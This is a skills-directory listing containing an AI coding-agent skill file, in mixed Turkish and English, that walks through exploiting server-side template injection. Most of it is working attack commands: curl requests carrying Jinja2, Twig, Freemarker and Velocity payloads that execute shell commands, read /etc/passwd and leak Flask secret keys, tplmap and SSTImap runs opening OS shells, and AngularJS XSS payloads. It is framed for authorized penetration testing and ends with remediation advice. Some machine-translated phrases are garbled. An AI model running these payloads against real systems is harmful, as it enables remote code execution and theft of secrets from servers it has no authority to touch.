Tespit etme and exploiting Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution.
Install to Claude Code
npx -y skills add MustafaKemal0146/fetih --skill exploiting-template-injection-vulnerabilities --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Exploiting Template Injection Vulnerabilities?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/mustafakemal0146-exploiting-template-injection-vulnerabilities)More formats (shields.io, HTML) on the badges page.
---
name: exploiting-template-injection-vulnerabilities
description: Tespit etme and exploiting Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution.
tags:
- rce
- web-security
- template-injection
- owasp
- fetih
- web-application-security
- ssti
- cybersecurity
- penetration-testing
- siber-güvenlik
triggers:
- CSRF
- SQL injection
- XSS
- alert
- email
- exploit
- exploiting
- http
- injection
- log
- network
- template
category: web-application-security
source_subdomain: web-application-security
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
adapted_for: fetih
---
# Exploiting Template Injection Vulnerabilities
## Ne Zaman Kullanılır
- During authorized penetration tests when user input is rendered through a server-side template engine
- testing yaparken error pages, email templates, PDF generators, or report builders that include user-supplied data
- For assessing applications that allow users to customize templates or notification messages
- identifying yaparken: potential SSTI in parameters that reflect arithmetic results (e.g., `{{7*7}}` returns `49`)
- During security assessments of CMS platforms, marketing tools, or any application with templating functionality
## Ön Gereksinimler
- **Authorization**: Written penetration testing agreement with RCE testing scope
- **Burp Suite Professional**: For intercepting and modifying template parameters
- **tplmap**: Automated SSTI exploitation tool (`git clone https://github.com/epinna/tplmap.git`)
- **SSTImap**: Modern SSTI scanner (`pip install sstimap`)
- **curl**: For manual SSTI payload testing
- **Bilgi: template engines**: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty
## İş Akışı
### Adım 1: Identify Template Injection Points
Bul: parameters where user input is processed by a template engine.
```bash
PAYLOADS=(
'{{7*7}}' # Jinja2, Twig
'${7*7}' # Freemarker, Velocity, Spring EL
'#{7*7}' # Thymeleaf, Ruby ERB
'<%= 7*7 %>' # ERB (Ruby), EJS (Node.js)
'{7*7}' # Smarty
'{{= 7*7}}' # doT.js
'${{7*7}}' # AngularJS/Spring
'#set($x=7*7)$x' # Velocity
)
for payload in "${PAYLOADS[@]}"; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
echo -n "$payload -> "
curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
done
```
### Adım 2: the tespit et: Template Engine
Belirle: which template engine is in use to select the appropriate exploitation technique.
```bash
curl -s "https://target.example.com/page?name={{7*'7'}}"
curl -s "https://target.example.com/page?name={{config}}"
curl -s "https://target.example.com/page?name=\${.now}"
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
python3 tplmap.py -u "https://target.example.com/page?name=test"
```
### Adım 3: Exploit Jinja2 (Python/Flask)
Achieve code execution through Jinja2 template injection.
```bash
curl -s "https://target.example.com/page?name={{config.items()}}"
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
```
### Adım 4: Exploit Twig (PHP), Freemarker (Java), and Other Engines
Use engine-specific payloads for exploitation.
```bash
curl -s "https://target.example.com/page?name={{['id']|filter('system')}}"
curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"
curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}"
curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}"
curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"
curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)"
curl -s "https://target.example.com/page?name={system('id')}"
curl -s "https://target.example.com/page?name=<%25=%20system('id')%20%25>"
curl -s "https://target.example.com/page?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}"
```
### Adım 5: Automate with tplmap and SSTImap
Use automated tools for comprehensive testing and exploitation.
```bash
python3 tplmap.py -u "https://target.example.com/page?name=test" --os-shell
python3 tplmap.py -u "https://target.example.com/page" -d "name=test" --os-cmd "id"
python3 tplmap.py -u "https://target.example.com/page?name=test" \
-H "Cookie: session=abc123" \
-H "Authorization: Bearer token" \
--os-cmd "whoami"
sstimap -u "https://target.example.com/page?name=test"
sstimap -u "https://target.example.com/page?name=test" --os-shell
python3 tplmap.py -u "https://target.example.com/page?name=test" \
--download "/etc/passwd" "/tmp/passwd"
```
### Adım 6: Test Client-Side Template Injection (CSTI)
Assess for Angular/Vue/React expression injection in client-side templates.
```bash
curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}"
curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}"
curl -s "https://target.example.com/page?name={{_c.constructor('alert(1)')()}}"
curl -s "https://target.example.com/" | grep -i "ng-app\|angular\|vue\|v-"
for payload in '{{7*7}}' '{{constructor.constructor("return this")()}}' \
'{{$on.constructor("alert(1)")()}}'; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
echo -n "$payload: "
curl -s "https://target.example.com/search?q=$encoded" | grep -oP "49|alert|constructor"
done
```
## Key Concepts
| Concept | Description |
|---------|-------------|
| **SSTI** | Server-Side Template Injection - injecting template directives that execute server-side |
| **CSTI** | Client-Side Template Injection - injecting expressions into AngularJS/Vue templates (leads to XSS) |
| **Template Engine** | Software that processes template files with placeholders, replacing them with data |
| **Sandbox Escape** | Bypassing template engine security restrictions to access dangerous functions |
| **MRO (Method Resolution Order)** | Python class hierarchy traversal used in Jinja2 exploitation |
| **Object Introspection** | Using `__class__`, `__subclasses__()`, `__globals__` to navigate Python objects |
| **Blind SSTI** | Template injection where output is not directly visible, requiring OOB techniques |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **tplmap** | Automated SSTI Tespit and exploitation with OS shell capability |
| **SSTImap** | Modern SSTI scanner with support for multiple template engines |
| **Burp Suite Professional** | Request interception and Intruder for payload fuzzing |
| **Hackvertor (Burp Extension)** | Payload encoding and transformation for bypass techniques |
| **PayloadsAllTheThings** | Comprehensive SSTI payload reference on GitHub |
| **OWASP ZAP** | Automated SSTI Tespit in active scanning mode |
## Common Scenarios
### Scenario 1: Flask Email Template Injection
A Flask application lets users customize email notification templates. The custom template is rendered with Jinja2 without sandboxing, allowing RCE through `{{config.items()}}` and subclass traversal.
### Scenario 2: Java CMS Freemarker Injection
A Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects `<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}` to execute commands.
### Scenario 3: Error Page SSTI
A custom 404 error page reflects the requested URL path through a Twig template. Requesting `/{{['id']|filter('system')}}` causes the server to execute the `id` command.
### Scenario 4: AngularJS Client-Side Injection
A search page renders results using AngularJS with `ng-bind-html`. Searching for `{{constructor.constructor('alert(document.cookie)')()}}` achieves XSS through AngularJS expression evaluation.
## Output Format
```
## Template Injection Bul:ing
**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE
**Severity**: Critical (CVSS 9.8)
**Location**: GET /page?name= (name parameter)
**Template Engine**: Jinja2 (Python 3.9 / Flask 2.3)
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. Send GET /page?name={{7*7}} - Response contains "49" confirming SSTI
2. Send GET /page?name={{config.SECRET_KEY}} - Returns Flask secret key
3. Send GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}}
4. Server returns: uid=33(www-data) gid=33(www-data)
### Confirmed Impact
- Remote code execution as www-data user
- Secret key disclosure: Flask SECRET_KEY exposed
- File system read: /etc/passwd, application source code
- Potential lateral movement to internal network
### Recommendation
1. Never pass user input directly to template render functions
2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)
3. Implement strict input validation and allowlisting for template variables
4. Use logic-less template engines (Mustache, Handlebars) where possible
5. Apply least-privilege OS permissions for the web application user
```
<!--
⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
Yetkisiz kullanim/kopyalama tespit edilebilir.
hash: 465f239fa7be1183
-->
Scanned 9/8/2026
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!